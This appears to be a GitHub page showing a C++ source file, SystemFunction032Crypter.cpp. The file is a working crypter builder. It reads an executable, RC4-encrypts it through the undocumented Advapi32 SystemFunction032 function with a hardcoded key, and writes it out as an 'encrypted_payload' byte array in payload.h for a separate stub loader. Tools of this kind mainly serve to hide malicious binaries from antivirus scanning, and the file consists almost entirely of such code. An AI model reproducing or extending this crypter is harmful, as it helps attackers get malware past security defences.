-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathSystemFunction032Crypter.cpp
More file actions
66 lines (54 loc) · 2.03 KB
/
Copy pathSystemFunction032Crypter.cpp
File metadata and controls
66 lines (54 loc) · 2.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <vector>
#include <iostream>
// Undocumented structure for SystemFunction032
typedef struct {
DWORD Length;
DWORD MaximumLength;
PVOID Buffer;
} USTRING;
typedef NTSTATUS(NTAPI* _SystemFunction032)(USTRING* Data, USTRING* Key);
// Function to perform RC4 encryption using SystemFunction032
BOOL EncryptData(std::vector<unsigned char>& data, std::vector<unsigned char>& key) {
HMODULE hAdvapi = LoadLibraryA("Advapi32.dll");
if (!hAdvapi) return FALSE;
_SystemFunction032 SystemFunction032 = (_SystemFunction032)GetProcAddress(hAdvapi, "SystemFunction032");
if (!SystemFunction032) return FALSE;
USTRING uData = { (DWORD)data.size(), (DWORD)data.size(), data.data() };
USTRING uKey = { (DWORD)key.size(), (DWORD)key.size(), key.data() };
return SystemFunction032(&uData, &uKey) == 0;
}
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("Usage: %s <input_binary.exe>\n", argv[0]);
return 1;
}
// 1. Read input binary
FILE* f = fopen(argv[1], "rb");
fseek(f, 0, SEEK_END);
long size = ftell(f);
fseek(f, 0, SEEK_SET);
std::vector<unsigned char> buffer(size);
fread(buffer.data(), 1, size, f);
fclose(f);
// 2. Define encryption key
std::vector<unsigned char> key = { 'S', 'e', 'c', 'r', 'e', 't', 'K', 'e', 'y', '1', '2', '3' };
// 3. Encrypt the binary
if (!EncryptData(buffer, key)) {
printf("Encryption failed!\n");
return 1;
}
// 4. Output as a C++ header for your Standalone Stub
FILE* out = fopen("payload.h", "w");
fprintf(out, "unsigned char encrypted_payload[] = { ");
for (size_t i = 0; i < buffer.size(); i++) {
fprintf(out, "0x%02x%s", buffer[i], (i == buffer.size() - 1) ? "" : ", ");
if (i % 12 == 11) fprintf(out, "\n ");
}
fprintf(out, " };\nunsigned int payload_len = %d;\n", (int)buffer.size());
fclose(out);
printf("Done! Encrypted payload saved to 'payload.h'.\n");
return 0;
}